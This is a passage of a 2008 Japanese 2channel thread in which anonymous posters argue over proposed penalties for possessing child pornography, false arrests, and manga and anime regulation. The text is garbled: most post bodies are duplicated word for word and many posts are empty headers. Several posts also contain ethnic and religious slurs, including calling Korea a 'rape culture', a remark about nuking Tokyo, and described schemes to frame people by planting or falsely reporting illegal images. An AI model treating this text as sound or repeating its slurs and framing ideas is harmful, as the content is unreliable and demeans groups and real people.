対
派
は
今
日
何
か
や
る
の
か
？
93 ：名無しさん＠九周年：2008/08/20(水) 10:15:58 ID:651Ef1zrO
児童保護のためにどれだけ多くのひとがその犠牲になるのか、よく考えてみよう。
キミが、キミの友達が、キミの家族が逮捕されてしまう可能性のある所持禁止を、
わざわざ成立させる必要があるのだろうか？
多くの人が人生が奪われてしまう。
キミが、キミの友達が、キミの家族が逮捕されてしまう可能性のある所持禁止を、
わざわざ成立させる必要があるのだろうか？
多くの人が人生が奪われてしまう。
96 ：名無しさん＠九周年：2008/08/20(水) 10:16:47 ID:d8gUr3oL0
97 ：名無しさん＠九周年：2008/08/20(水) 10:17:25 ID:aVF/mK2L0
98 ：名無しさん＠九周年：2008/08/20(水) 10:18:43 ID:jxPgGTFl0
100 ：名無しさん＠九周年：2008/08/20(水) 10:18:54 ID:goo4DzbW0
101 ：名無しさん＠九周年：2008/08/20(水) 10:19:08 ID:YlgCvaYH0
>>94
マジレスすると無名のアニオタを捕まえるよりプチエンジェル
事件の加害者の中でも清廉潔白なイメージで通してる奴を刑務所
送りにする方がよほどインパクトがあると思われ
ただ効果だけを考えるならだけど
ていうか何もしていないアニオタと実際に小学生を買って性行為している
奴を比較すること自体おかしな話だけどね
マジレスすると無名のアニオタを捕まえるよりプチエンジェル
事件の加害者の中でも清廉潔白なイメージで通してる奴を刑務所
送りにする方がよほどインパクトがあると思われ
ただ効果だけを考えるならだけど
ていうか何もしていないアニオタと実際に小学生を買って性行為している
奴を比較すること自体おかしな話だけどね
102 ：名無しさん＠九周年：2008/08/20(水) 10:19:10 ID:2PxzhvjD0
製作元を厳しくすればいいだろう。
免罪に使われてはかなわない。 マスコミの異常さを考えれば、いかに
都合の悪いものを排除しようとしているのが見え見え。
免罪に使われてはかなわない。 マスコミの異常さを考えれば、いかに
都合の悪いものを排除しようとしているのが見え見え。
規制賛成派は倫理感を説くのはいいが、
現実的な問題としての所持禁止の危険性について考えなさい。
危機感のない規制賛成派から逮捕されるぞ。
現実的な問題としての所持禁止の危険性について考えなさい。
危機感のない規制賛成派から逮捕されるぞ。
105 ：名無しさん＠九周年：2008/08/20(水) 10:20:25 ID:32rmX0gG0
>>94
●田先生を信奉するようになるんですね、分かります
●田先生を信奉するようになるんですね、分かります
106 ：名無しさん＠九周年：2008/08/20(水) 10:20:57 ID:d8gUr3oL0
107 ：悔しくて悔しくて口動かせど声出さずニタ〜と笑うってか♪：2008/08/20(水) 10:21:58 ID:IqpFU/RNO
現実世界で規制の話しが続けられている要因の一つに
匿名の規制反対派の他力本願な態度があるとは思いませんか？
その態度が、規制反対予備軍を呆れさせて離脱させてしまい、
また規制賛成派を勢いづかせる原因になっている、と思いませんか？
匿名の規制反対派が規制反対派の減衰要因ということでしょうか？
「わたくし、○○○○は児童ポルノの
単純所持処罰は行き過ぎだと思うので廃案を求めます。」
というような感じで次々に名乗りをあげるぐらいでないと
規制が成立してしまうのではないかな♪
このスレが、
「わたくし、○○○○は本日○○○○で○○活動をしました」
というような活動報告で埋まるぐらいでないと
規制が成立してしまうのではないかな♪
108 ：名無しさん＠九周年：2008/08/20(水) 10:21:59 ID:YlgCvaYH0
>>98
層化やフェミなんてそこに属していうるというだけで教祖の命令と
あらば人殺しから横領までなんでもやりそうなイメージなんだが
てか政治家自体別に優秀な経歴ではないだろ
普通かそれよりチョイマシ程度
層化やフェミなんてそこに属していうるというだけで教祖の命令と
あらば人殺しから横領までなんでもやりそうなイメージなんだが
てか政治家自体別に優秀な経歴ではないだろ
普通かそれよりチョイマシ程度
110 ：名無しさん＠九周年：2008/08/20(水) 10:22:45 ID:YI9eeaXPO
111 ：名無しさん＠九周年：2008/08/20(水) 10:23:03 ID:aVF/mK2L0
>>99
いやだから「違法ポルノ」として摘発されてるのなら、充分機能は果たしてるだろう
お前さんの言う児童保護ってのは、更に格別の対応を図らねば解決せんものなのか？
それなら親が性的虐待を加えている現状を見た場合、「保護者に常時監視をつける」くらいの措置は必要になるぞ
いやだから「違法ポルノ」として摘発されてるのなら、充分機能は果たしてるだろう
お前さんの言う児童保護ってのは、更に格別の対応を図らねば解決せんものなのか？
それなら親が性的虐待を加えている現状を見た場合、「保護者に常時監視をつける」くらいの措置は必要になるぞ
どうあがいても可決されるよ ロリコンざまぁｗ
114 ：名無しさん＠九周年：2008/08/20(水) 10:23:46 ID:651Ef1zrO
115 ：名無しさん＠九周年：2008/08/20(水) 10:24:08 ID:OWKzbsIhO
これで
草加に逆らう奴は
児童ポルノ所持者として通報すれば
何かしら（女子高生もののＡＶやグラビア)で逮捕
児童ポルノ所持者として社会から抹殺できるぜ
ヒヒヒ
草加に逆らう奴は
児童ポルノ所持者として通報すれば
何かしら（女子高生もののＡＶやグラビア)で逮捕
児童ポルノ所持者として社会から抹殺できるぜ
ヒヒヒ
116 ：名無しさん＠九周年：2008/08/20(水) 10:24:51 ID:YlgCvaYH0
>>114
層化の強引な勧誘の事をいってるのか赤坂プチエンジェル事件のことをいっているのか分かりません
層化の強引な勧誘の事をいってるのか赤坂プチエンジェル事件のことをいっているのか分かりません
117 ：名無しさん＠九周年：2008/08/20(水) 10:25:11 ID:puGk+Tzn0
>>114
創価学会や毎日新聞のような売国奴のことを言っているのか？ｗ
創価学会や毎日新聞のような売国奴のことを言っているのか？ｗ
118 ：名無しさん＠九周年：2008/08/20(水) 10:26:23 ID:NkdJPTJ/0
東京都警はコミケの入場者の
顔写真と指紋くらい採取したのか
あいつらの中には将来絶対なにかしでかすやついるから
そのくらいの対策採っとくべきだろ
ヲタもそれくらい協力しろ
顔写真と指紋くらい採取したのか
あいつらの中には将来絶対なにかしでかすやついるから
そのくらいの対策採っとくべきだろ
ヲタもそれくらい協力しろ
119 ：名無しさん＠九周年：2008/08/20(水) 10:26:23 ID:FRHAcjwv0
このさ、『児童ポルノ禁止法』って言う、非常に反対し辛い名称は何とかならんのか…
前に、ウチの親父にこの件について話してみた。
まあ、俺も詳しくないから思い付いたのがコレくらいなんだけど、
・曖昧で無茶な判別基準
・それによる冤罪や、法律の拡大解釈による逮捕。
都合の悪い人間への罪状でっちあげ
・“ジャパニメーション”とまで言われ、いまや日本の文化とも言える
国際的に認められたアニメや漫画の衰退
・表現の自由への弾圧の可能性
・現在所有している漫画や雑誌などが麻薬と同レベルの扱いになる
一通り話をした後、親父に
「お前は何故そんなに児童ポルノに必死なんだ？（笑）」と言われた。
ごく普通の反応なのかも知れないが、これを言われるとさすがに保身へ走りたくなるｗ
誤解されるのは嫌だ…
前に、ウチの親父にこの件について話してみた。
まあ、俺も詳しくないから思い付いたのがコレくらいなんだけど、
・曖昧で無茶な判別基準
・それによる冤罪や、法律の拡大解釈による逮捕。
都合の悪い人間への罪状でっちあげ
・“ジャパニメーション”とまで言われ、いまや日本の文化とも言える
国際的に認められたアニメや漫画の衰退
・表現の自由への弾圧の可能性
・現在所有している漫画や雑誌などが麻薬と同レベルの扱いになる
一通り話をした後、親父に
「お前は何故そんなに児童ポルノに必死なんだ？（笑）」と言われた。
ごく普通の反応なのかも知れないが、これを言われるとさすがに保身へ走りたくなるｗ
誤解されるのは嫌だ…
121 ：名無しさん＠九周年：2008/08/20(水) 10:27:09 ID:d8gUr3oL0
>>113それはソビエト連邦の論理だからありえない
民主主義国家は未然予防などと言う国民弾圧はやらない事になっている
民主主義国家は未然予防などと言う国民弾圧はやらない事になっている
122 ：名無しさん＠九周年：2008/08/20(水) 10:27:36 ID:YI9eeaXPO
123 ：名無しさん＠九周年：2008/08/20(水) 10:27:46 ID:09odBedCO
性的興奮を煽るのであればアニメでも厳罰化するしかないですよね。それよりも厳罰化すべきは援助交際を助長している出会い系サイトでしょうけど。
124 ：名無しさん＠九周年：2008/08/20(水) 10:28:44 ID:3orsUuP20
ったく下らねぇ屁理屈こね回してる暇があったらてめぇらの下らねぇコレクション
どうやって処分するかの下らねぇ算段でもしてろ、下らねぇロリペドども。
どうやって処分するかの下らねぇ算段でもしてろ、下らねぇロリペドども。
126 ：名無しさん＠九周年：2008/08/20(水) 10:29:12 ID:651Ef1zrO
127 ：名無しさん＠九周年：2008/08/20(水) 10:29:23 ID:YlgCvaYH0
しかしオタを否定する論拠がことごとく自分たちにかえってくるのは悲しいよなｗ
人を傷つけてって団体を否定した大学教授の葬式に祝電を送ったり田舎から出てきたばかりの
身寄りの無い若い女性に入会しなければ不幸になるなんて勧誘する奴らの台詞じゃないだろｗ
人を傷つけてって団体を否定した大学教授の葬式に祝電を送ったり田舎から出てきたばかりの
身寄りの無い若い女性に入会しなければ不幸になるなんて勧誘する奴らの台詞じゃないだろｗ
それにこんなの可決したら
児童ポルノを強制的に落とさせて通報
ってウイルスが作られそうだな。
てか実在するそうだし。
児童ポルノを強制的に落とさせて通報
ってウイルスが作られそうだな。
てか実在するそうだし。
129 ：名無しさん＠九周年：2008/08/20(水) 10:29:31 ID:d8gUr3oL0
レッテル張りしかできないのかｗ
131 ：名無しさん＠九周年：2008/08/20(水) 10:30:19 ID:OWKzbsIhO
132 ：名無しさん＠九周年：2008/08/20(水) 10:30:34 ID:emWwVacR0
>有償または反復した取得を禁止
反復した取得って何だよ？
訳がわからん
反復した取得って何だよ？
訳がわからん
133 ：名無しさん＠九周年：2008/08/20(水) 10:30:46 ID:qvtHK5Tm0
創価学会は「子供を守る」と言いつつ子供が楽しみ漫画アニメを規制まみれにしようとしている
結局は創価学会の権力拡大のためにこの改正は行われる
表現の自由の侵害や冤罪の可能性や悪用の可能性などの危険性を無視してまで通すほど効果のある法案じゃない
結局は創価学会の権力拡大のためにこの改正は行われる
表現の自由の侵害や冤罪の可能性や悪用の可能性などの危険性を無視してまで通すほど効果のある法案じゃない
135 ：名無しさん＠九周年：2008/08/20(水) 10:31:42 ID:d8gUr3oL0
136 ：名無しさん＠九周年：2008/08/20(水) 10:31:55 ID:651Ef1zrO
137 ：名無しさん＠九周年：2008/08/20(水) 10:32:44 ID:aVF/mK2L0
>>120
？？
非合法な手段で製造・販売されてるのなら、別に「幼児」と「一般」の区別は必要無いだろ
対象が幼児なら、尚更警察の関与もスムーズになるだろう
別個に法が必要なほど幼児被害が増加しているのか？
？？
非合法な手段で製造・販売されてるのなら、別に「幼児」と「一般」の区別は必要無いだろ
対象が幼児なら、尚更警察の関与もスムーズになるだろう
別個に法が必要なほど幼児被害が増加しているのか？
138 ：名無しさん＠九周年：2008/08/20(水) 10:33:05 ID:puGk+Tzn0
139 ：名無しさん＠九周年：2008/08/20(水) 10:33:54 ID:jxPgGTFl0
>>110
もう既にぶっ壊れまくってるぞ。
2割の検挙率、9割の有罪率。
司法解剖率の低さ、取調室の暴力。
代用監獄問題なんてのもググると面白い。
この手の問題は放置してきて、ロリ問題になるととたんに騒ぎ出すここのスレの人、
単純所持を許すと雪崩を打ったように崩れるみたいにに言い、
ここが最後の砦みたいに言うが、最後の砦はもう壊れてるんじゃないか？
なぜ今更この問題にだけ固執しなければならないんだ。
確かに不明確な対象物にもかかわらず単純所持を罰するのはかなり危険なのだが、
思えば司法が正常に働いていればこんなの些細な問題だ。
些細じゃないのは壊れ行く司法を放置し続けてきたせいだぞ。
ロリ問題だけ騒ぐなよｗ キモくて味方する気がせんわｗ
もう既にぶっ壊れまくってるぞ。
2割の検挙率、9割の有罪率。
司法解剖率の低さ、取調室の暴力。
代用監獄問題なんてのもググると面白い。
この手の問題は放置してきて、ロリ問題になるととたんに騒ぎ出すここのスレの人、
単純所持を許すと雪崩を打ったように崩れるみたいにに言い、
ここが最後の砦みたいに言うが、最後の砦はもう壊れてるんじゃないか？
なぜ今更この問題にだけ固執しなければならないんだ。
確かに不明確な対象物にもかかわらず単純所持を罰するのはかなり危険なのだが、
思えば司法が正常に働いていればこんなの些細な問題だ。
些細じゃないのは壊れ行く司法を放置し続けてきたせいだぞ。
ロリ問題だけ騒ぐなよｗ キモくて味方する気がせんわｗ
140 ：名無しさん＠九周年：2008/08/20(水) 10:35:00 ID:aVF/mK2L0
141 ：名無しさん＠九周年：2008/08/20(水) 10:35:05 ID:32rmX0gG0
>>119
これもネット規制も含めてメディア良化法といわれる
これもネット規制も含めてメディア良化法といわれる
間違えた。
>>125は>>121へ。
>>129
数字の問題じゃないだろ。数字が低いから、ちょっとぐらい子供が犠牲になってもいいと？
それに、今はネットの時代だよ。国内だけの問題じゃない。
>あとお前は18歳以上の女が幾ら被害に遭おうが問題無いのか？
現行法でたっぷり保護されてるじゃないか。法的に信頼性が無い子供の証言と違い、
大人は発言の信頼性が保障されてるんだから現行法で十分なんだよ。
>>125は>>121へ。
>>129
数字の問題じゃないだろ。数字が低いから、ちょっとぐらい子供が犠牲になってもいいと？
それに、今はネットの時代だよ。国内だけの問題じゃない。
>あとお前は18歳以上の女が幾ら被害に遭おうが問題無いのか？
現行法でたっぷり保護されてるじゃないか。法的に信頼性が無い子供の証言と違い、
大人は発言の信頼性が保障されてるんだから現行法で十分なんだよ。
143 ：名無しさん＠九周年：2008/08/20(水) 10:35:56 ID:WvPt3ejzO
世の中の半分は女で一回は軽い性被害に遭ってる奴多いからなあ
変態一人いれば数十人が被害に遭うわけでｗ
小学生の時はチャリで追っ掛けられたし
中学では校門に露出狂いたしｗ
まあ女性軍団を全部倒すくらいの心意気でがんがれ
変態一人いれば数十人が被害に遭うわけでｗ
小学生の時はチャリで追っ掛けられたし
中学では校門に露出狂いたしｗ
まあ女性軍団を全部倒すくらいの心意気でがんがれ
144 ：名無しさん＠九周年：2008/08/20(水) 10:36:08 ID:651Ef1zrO
145 ：名無しさん＠九周年：2008/08/20(水) 10:36:43 ID:q/mKxkERO
146 ：名無しさん＠九周年：2008/08/20(水) 10:36:45 ID:OWKzbsIhO
信者の子供の女児をレイプしまくるようなカルト宗教こそ
規制すべきだろ！
女児とセックスしたりセクハラする教師を
規制すべきだろ。
実害を受ける児童は見捨てて
日本を密告社会にしようとする売国奴とか
日本から排除すべきだな。
規制すべきだろ！
女児とセックスしたりセクハラする教師を
規制すべきだろ。
実害を受ける児童は見捨てて
日本を密告社会にしようとする売国奴とか
日本から排除すべきだな。
規制賛成派の他人事の書き込みには笑う。
もっと危機感を持つべきだ。
なんらかの形で所持禁止の災いが降りかかってくるよ。
後で泣き言を言うなよ。
国民の信用信頼を失った警察が法を運用することも考えるべきだ。
権力を持つものは必ず暴走する。
今の警察がそうだ。
もっと危機感を持つべきだ。
なんらかの形で所持禁止の災いが降りかかってくるよ。
後で泣き言を言うなよ。
国民の信用信頼を失った警察が法を運用することも考えるべきだ。
権力を持つものは必ず暴走する。
今の警察がそうだ。
賛成派はもう少し論理的に話せないのか？
妄想と偏見で法改正に賛成してるアフォにしか見えんよｗ
妄想と偏見で法改正に賛成してるアフォにしか見えんよｗ
149 ：名無しさん＠九周年：2008/08/20(水) 10:38:15 ID:32rmX0gG0
150 ：名無しさん＠九周年：2008/08/20(水) 10:38:28 ID:bw8BZj84O
問題は、アニメ・マンガ・ゲームにのめり込んで現実が見えない人間が悪いのであって
作品や製品に罪は無い。
意図的にハマる様に創ったモノ以外は。
作品や製品に罪は無い。
意図的にハマる様に創ったモノ以外は。
151 ：名無しさん＠九周年：2008/08/20(水) 10:38:32 ID:9jK4nUtQO
麻薬や拳銃はアナログですが、児ポはデジタルですよね。
デジタル情報が単純所持禁止になる事の危険性すらわからないのが自民派なんですね。
呆れを通り越して吐き気すらしてきました。
デジタル情報が単純所持禁止になる事の危険性すらわからないのが自民派なんですね。
呆れを通り越して吐き気すらしてきました。
152 ：名無しさん＠九周年：2008/08/20(水) 10:38:40 ID:YI9eeaXPO
>>136
性犯罪なんだから、犯罪者撲滅なんて不可能だろうに
不可能な撲滅や下らん面子の為に冤罪被害にあっちゃ堪らんな
リアルの児童ポルノ犯罪減らす為には他の切口があるでしょ
無節操に規制すれば問題が解決どころか更にアングラ化するわ
禁酒法がいい例だ
性犯罪なんだから、犯罪者撲滅なんて不可能だろうに
不可能な撲滅や下らん面子の為に冤罪被害にあっちゃ堪らんな
リアルの児童ポルノ犯罪減らす為には他の切口があるでしょ
無節操に規制すれば問題が解決どころか更にアングラ化するわ
禁酒法がいい例だ
153 ：名無しさん＠九周年：2008/08/20(水) 10:39:26 ID:OWKzbsIhO
>>147
どうせ草加ネット工作員でしょ(笑)ﾌﾟﾌﾟﾌﾟ
どうせ草加ネット工作員でしょ(笑)ﾌﾟﾌﾟﾌﾟ
>>137
大人と子供は違う。
大人は法的に様々な権利や知識を持ち、自分で行動する能力がある。
子供にはそれらが全てない。「子供の言うことだから」と発言の信頼性すら不安定。
>>140
アメリカでは日本からの漫画ポルノのダウンロードで逮捕になった例がある。
大人と子供は違う。
大人は法的に様々な権利や知識を持ち、自分で行動する能力がある。
子供にはそれらが全てない。「子供の言うことだから」と発言の信頼性すら不安定。
>>140
アメリカでは日本からの漫画ポルノのダウンロードで逮捕になった例がある。
児童ポルノの次は何かなぁ
オタを弾圧する為の恰好の娯楽は
暴力性のあるゲームはすでに規制されたし
ガチホモはネタだから可能性は低い
トランス音楽も中毒性はあるが犯罪に結びつきにくい
版権、著作物公的流用はただいま弾圧中
オタを弾圧する為の恰好の娯楽は
暴力性のあるゲームはすでに規制されたし
ガチホモはネタだから可能性は低い
トランス音楽も中毒性はあるが犯罪に結びつきにくい
版権、著作物公的流用はただいま弾圧中
156 ：名無しさん＠九周年：2008/08/20(水) 10:41:11 ID:651Ef1zrO
157 ：名無しさん＠九周年：2008/08/20(水) 10:41:37 ID:goo4DzbW0
158 ：名無しさん＠九周年：2008/08/20(水) 10:42:10 ID:aVF/mK2L0
>>142
ちょっと待て
子供の証言の信頼性は置いといて、実際にポルノ撮影されてたら問題になるだろ
子供が希望したのなら、親の監督責任を問われる
子供が拉致られてor脅されて撮影されたのなら、立派な犯罪なんだから検挙される
一体、子供をどうしたいんだ？
「育児ロボット開発して、それに子育てさせよう。人間は信用ならねぇ」
って事か？
ちょっと待て
子供の証言の信頼性は置いといて、実際にポルノ撮影されてたら問題になるだろ
子供が希望したのなら、親の監督責任を問われる
子供が拉致られてor脅されて撮影されたのなら、立派な犯罪なんだから検挙される
一体、子供をどうしたいんだ？
「育児ロボット開発して、それに子育てさせよう。人間は信用ならねぇ」
って事か？
159 ：名無しさん＠九周年：2008/08/20(水) 10:42:35 ID:YlgCvaYH0
160 ：名無しさん＠九周年：2008/08/20(水) 10:43:07 ID:3orsUuP20
そんなにこの法規制がいやなら日本から出て行けよ。
だれも止めねぇから。
だれも止めねぇから。
161 ：名無しさん＠九周年：2008/08/20(水) 10:43:12 ID:OQ1DGGhh0
【児ポ法改正法違反罰則案】
自民案：「自己の性的好奇心を満たす目的」の単純所持で１年以下の懲役または１００万円以下の罰金
民主案：「有償または反復した取得」の単純所持で３年以下の懲役または３００万円以下の罰金
（↑いずれも現段階では素案・未可決）
（↓参考までに・現行法）
【児童ポルノの提供】 ３年以下の懲役又は３００万円以下の罰金
【児童買春】 ５年以下の懲役又は５００万円以下の罰金
【児童買春斡旋】 ５年以下の懲役又は５００万円以下の罰金
【強制わいせつ】 ６月以上１０年以下の有期懲役 ←なにこの幅を持たせた期間の設定は
【強姦罪・準強姦罪】 ３年以上の有期懲役 ←児童買春（カネ出して買う）より無理矢理のほうが設定期間が短いｗ
【業務上過失致死罪】 ５年以下の懲役若しくは禁錮又は１００万円以下の罰金である。
【窃盗罪】 １０年以下の懲役又は５０万円以下の罰金
児ポ画像ただ持ってるだけで、現実に他人に対して実害与える犯罪行為と同等か、より厳しいってどーよ？
自民案「自己の性的好奇心を満たす目的」かどうかどうしてわかるの？証明できるの？エスパー？
民主案「有償または反復した取得」と「無償または一生で一度きりの取得」との間に、
犯罪が成立するかしないかの有意の差はあるの？
身に覚えがないのに、業者と称する人間が自分を差して「コイツに児ポ画像渡してカネもらった」と証言したら、
どう抗弁したらいいの？起訴はされなくても、身柄拘束・家宅捜索とHDD没収はまず免れない。
自民案：「自己の性的好奇心を満たす目的」の単純所持で１年以下の懲役または１００万円以下の罰金
民主案：「有償または反復した取得」の単純所持で３年以下の懲役または３００万円以下の罰金
（↑いずれも現段階では素案・未可決）
（↓参考までに・現行法）
【児童ポルノの提供】 ３年以下の懲役又は３００万円以下の罰金
【児童買春】 ５年以下の懲役又は５００万円以下の罰金
【児童買春斡旋】 ５年以下の懲役又は５００万円以下の罰金
【強制わいせつ】 ６月以上１０年以下の有期懲役 ←なにこの幅を持たせた期間の設定は
【強姦罪・準強姦罪】 ３年以上の有期懲役 ←児童買春（カネ出して買う）より無理矢理のほうが設定期間が短いｗ
【業務上過失致死罪】 ５年以下の懲役若しくは禁錮又は１００万円以下の罰金である。
【窃盗罪】 １０年以下の懲役又は５０万円以下の罰金
児ポ画像ただ持ってるだけで、現実に他人に対して実害与える犯罪行為と同等か、より厳しいってどーよ？
自民案「自己の性的好奇心を満たす目的」かどうかどうしてわかるの？証明できるの？エスパー？
民主案「有償または反復した取得」と「無償または一生で一度きりの取得」との間に、
犯罪が成立するかしないかの有意の差はあるの？
身に覚えがないのに、業者と称する人間が自分を差して「コイツに児ポ画像渡してカネもらった」と証言したら、
どう抗弁したらいいの？起訴はされなくても、身柄拘束・家宅捜索とHDD没収はまず免れない。
163 ：名無しさん＠九周年：2008/08/20(水) 10:43:23 ID:FRHAcjwv0
>>126
世間の声はこんなもんなのかも…と確かに実感したが、
ウチの親父は海外との仕事をしていて、フランス人との交流があるんだが、
「今フランスでは、日本の漫画やアニメが大人気らしいぞ！
お前、“キャプテン翼”全巻揃えられないか！？」
なんて、嬉々として話すんだよ…矛盾してる。
>>133
え〜と…66歳…だったかな？ｗ
仏文科に入り、大学時代は学生運動に参加し、フランス映画とジャズが好きで、
本を読むのも好き。
今まで生きて来た過程で、文化に対する弾圧への憤りを感じてきているはずなのに。
どこで忘れてしまったんだろうか…
>>141
人権擁護法案・ネット規制・児童ポルノ規制
の3セットで運用する危険性を説明しても、あまりピンと来てない感じ。
「国がそんなバカな事をするはずが無いだろｗ」といった印象かな。
世間の声はこんなもんなのかも…と確かに実感したが、
ウチの親父は海外との仕事をしていて、フランス人との交流があるんだが、
「今フランスでは、日本の漫画やアニメが大人気らしいぞ！
お前、“キャプテン翼”全巻揃えられないか！？」
なんて、嬉々として話すんだよ…矛盾してる。
>>133
え〜と…66歳…だったかな？ｗ
仏文科に入り、大学時代は学生運動に参加し、フランス映画とジャズが好きで、
本を読むのも好き。
今まで生きて来た過程で、文化に対する弾圧への憤りを感じてきているはずなのに。
どこで忘れてしまったんだろうか…
>>141
人権擁護法案・ネット規制・児童ポルノ規制
の3セットで運用する危険性を説明しても、あまりピンと来てない感じ。
「国がそんなバカな事をするはずが無いだろｗ」といった印象かな。
>>145
少なくとも日本にはもう殆どいないと思う。
昔は大人になるとけじめをつけるために自分の好きなものと決別する「卒業」って習慣があったんだけど、今の日本人はそれを止めてしまったから。
大人になっても心を入れ替えず、子供のころと変わらない趣味をしてる大人ばかり。
自分を変えようという意識がないんだよ。
少なくとも日本にはもう殆どいないと思う。
昔は大人になるとけじめをつけるために自分の好きなものと決別する「卒業」って習慣があったんだけど、今の日本人はそれを止めてしまったから。
大人になっても心を入れ替えず、子供のころと変わらない趣味をしてる大人ばかり。
自分を変えようという意識がないんだよ。
東京都に核を落とさない限り日本は変わらない。
167 ：名無しさん＠九周年：2008/08/20(水) 10:44:24 ID:32rmX0gG0
>>156
日本をキリスト教国にしようですね、分かります
日本をキリスト教国にしようですね、分かります
168 ：名無しさん＠九周年：2008/08/20(水) 10:44:25 ID:aVF/mK2L0
>>156
現在日本が朝鮮みたいに「レイプが文化」みたいになってるのならな
そして現状を放置すれば近い将来朝鮮みたいになると危惧される状況ならな
日本沈没見たから朝一番にゴムボート買いに行った、と同レベルの話だぞ
現在日本が朝鮮みたいに「レイプが文化」みたいになってるのならな
そして現状を放置すれば近い将来朝鮮みたいになると危惧される状況ならな
日本沈没見たから朝一番にゴムボート買いに行った、と同レベルの話だぞ
169 ：名無しさん＠九周年：2008/08/20(水) 10:45:21 ID:YI9eeaXPO
>>156
依存にも限度があるわ
依存にも限度があるわ
170 ：名無しさん＠九周年：2008/08/20(水) 10:45:38 ID:puGk+Tzn0
171 ：名無しさん＠九周年：2008/08/20(水) 10:46:17 ID:YlgCvaYH0
172 ：名無しさん＠九周年：2008/08/20(水) 10:46:26 ID:OWKzbsIhO
174 ：名無しさん＠九周年：2008/08/20(水) 10:48:44 ID:M0g096vb0
とりあえず、絶チルとかコナンとかは連載中止だな
175 ：名無しさん＠九周年：2008/08/20(水) 10:48:57 ID:7jo0ogr4O
ヤクザ達は元気イッパイ。 早くデータの処分始めないと間に合わないんじゃないか？ 入れ込み方見ると変態映像相当持ってそうだし。
>>165
俺の意見言ったってしょうがないだろ。
俺の意見はあくまで俺の頭の中だけの意見。言ったところで現実になるわけじゃない。
個人の意見にこだわってると引きこもりになるよ。自分の意見より、まず世間を見なきゃ。
俺の意見言ったってしょうがないだろ。
俺の意見はあくまで俺の頭の中だけの意見。言ったところで現実になるわけじゃない。
個人の意見にこだわってると引きこもりになるよ。自分の意見より、まず世間を見なきゃ。
177 ：名無しさん＠九周年：2008/08/20(水) 10:49:13 ID:goo4DzbW0
＞Ｇ８では日本とロシアだけで、与党は単純所持の処罰化を盛り込んだ
与党は頭腐っているのか？
日本とロシア以外は全部、カトリックかプロテスタントの
キリスト教国だという事実に早く気づけ！
単純所持が、神への背徳だから処罰しているだけで
児童虐待とか関係ないから。
与党は頭腐っているのか？
日本とロシア以外は全部、カトリックかプロテスタントの
キリスト教国だという事実に早く気づけ！
単純所持が、神への背徳だから処罰しているだけで
児童虐待とか関係ないから。
178 ：名無しさん＠九周年：2008/08/20(水) 10:49:30 ID:xQi+CEhxO
痔ポに興味は無いが、迷惑メールに添付されてたり、
たまたま通り過ぎたWebページの画像がテンポラリーファイルとしてハードディスクに残ったりするだろ。
警察が誤認逮捕したり冤罪だったりする人のパソコンを押収して、
そういう画像をさがして、釈放するときに悔し紛れに発表するんだろ。
ミラーマンのときもそうだった。
痔ポは撮影者やネットに載せた奴やメールで送った奴を裁くべき。
たまたま通り過ぎたWebページの画像がテンポラリーファイルとしてハードディスクに残ったりするだろ。
警察が誤認逮捕したり冤罪だったりする人のパソコンを押収して、
そういう画像をさがして、釈放するときに悔し紛れに発表するんだろ。
ミラーマンのときもそうだった。
痔ポは撮影者やネットに載せた奴やメールで送った奴を裁くべき。
179 ：名無しさん＠九周年：2008/08/20(水) 10:49:31 ID:YI9eeaXPO
180 ：名無しさん＠九周年：2008/08/20(水) 10:49:35 ID:OWKzbsIhO
ｷﾓｲ儲くん達必死だなｗｗ
ところでここにいる規制反対派は
この法案をつぶすために日ごろどんな活動してるの？
ここに書き込んで不安を解消するのみ？
この法案をつぶすために日ごろどんな活動してるの？
ここに書き込んで不安を解消するのみ？
183 ：名無しさん＠九周年：2008/08/20(水) 10:50:14 ID:32rmX0gG0
規制派はデメリットの事をまるで考えないキチガイばかり
>>173
本当だね。
道に児童ポルノ入りのフラッシュメモリーなり
DVDメディアを落としておく。
拾った奴を追跡して、
あいつ児童ポルノらしものを所有しているようですよと
匿名で通報する。
あーこわい、こわい。
本当だね。
道に児童ポルノ入りのフラッシュメモリーなり
DVDメディアを落としておく。
拾った奴を追跡して、
あいつ児童ポルノらしものを所有しているようですよと
匿名で通報する。
あーこわい、こわい。
186 ：名無しさん＠九周年：2008/08/20(水) 10:51:01 ID:YlgCvaYH0
>>181
勧誘ならよそでやってください
勧誘ならよそでやってください
187 ：名無しさん＠九周年：2008/08/20(水) 10:51:05 ID:8ykjC4O30
188 ：名無しさん＠九周年：2008/08/20(水) 10:51:15 ID:651Ef1zrO
>>152
たしかに殲滅は不可能だが減らして行く事は出来る。
あと勘違いするな、規制「も」必要ということだ。
規制だけで良い訳はない。他の手段も必要になる。
メンツは大事だよ、日本みたいな国が国際的に
そっぽ向かれたら終わる。
たしかに殲滅は不可能だが減らして行く事は出来る。
あと勘違いするな、規制「も」必要ということだ。
規制だけで良い訳はない。他の手段も必要になる。
メンツは大事だよ、日本みたいな国が国際的に
そっぽ向かれたら終わる。
むしろデメリットしかないだろｗ
規制派のメリットは妄想でしかないから
規制派のメリットは妄想でしかないから
190 ：名無しさん＠九周年：2008/08/20(水) 10:52:11 ID:goo4DzbW0
194 ：名無しさん＠九周年：2008/08/20(水) 10:53:33 ID:q/mKxkERO
>>164
子供の頃と同じ趣味？
女子高生なんて見た目が大人と変わらない人なんてたくさんいる
漫画だって昔から大人も楽しんでいる
それに自分の意識を変えるなら勝手だが、他人の意識を法で変えようなんて馬鹿もいいとこ
子供の頃と同じ趣味？
女子高生なんて見た目が大人と変わらない人なんてたくさんいる
漫画だって昔から大人も楽しんでいる
それに自分の意識を変えるなら勝手だが、他人の意識を法で変えようなんて馬鹿もいいとこ
先生、質問でーす。
自動ポルノの定義を教えて下さい。
自動ポルノの定義を教えて下さい。
196 ：悔しくて悔しくて口動かせど声出さずニタ〜と笑うってか♪：2008/08/20(水) 10:53:50 ID:IqpFU/RNO
>>173
「伝わると思うよ」と書いているが、そう言えるほど多くの人に
街の中で伝えることを試みたのかね？
「わたくし、○○○○は児童ポルノの
単純所持処罰は行き過ぎだと思うので廃案を求めます。」
というような感じで次々に名乗りをあげるぐらいでないと
規制が成立してしまうのではないかな♪
このスレが、
「わたくし、○○○○は本日○○○○で○○活動をしました」
というような活動報告で埋まるぐらいでないと
規制が成立してしまうのではないかな♪
「伝わると思うよ」と書いているが、そう言えるほど多くの人に
街の中で伝えることを試みたのかね？
「わたくし、○○○○は児童ポルノの
単純所持処罰は行き過ぎだと思うので廃案を求めます。」
というような感じで次々に名乗りをあげるぐらいでないと
規制が成立してしまうのではないかな♪
このスレが、
「わたくし、○○○○は本日○○○○で○○活動をしました」
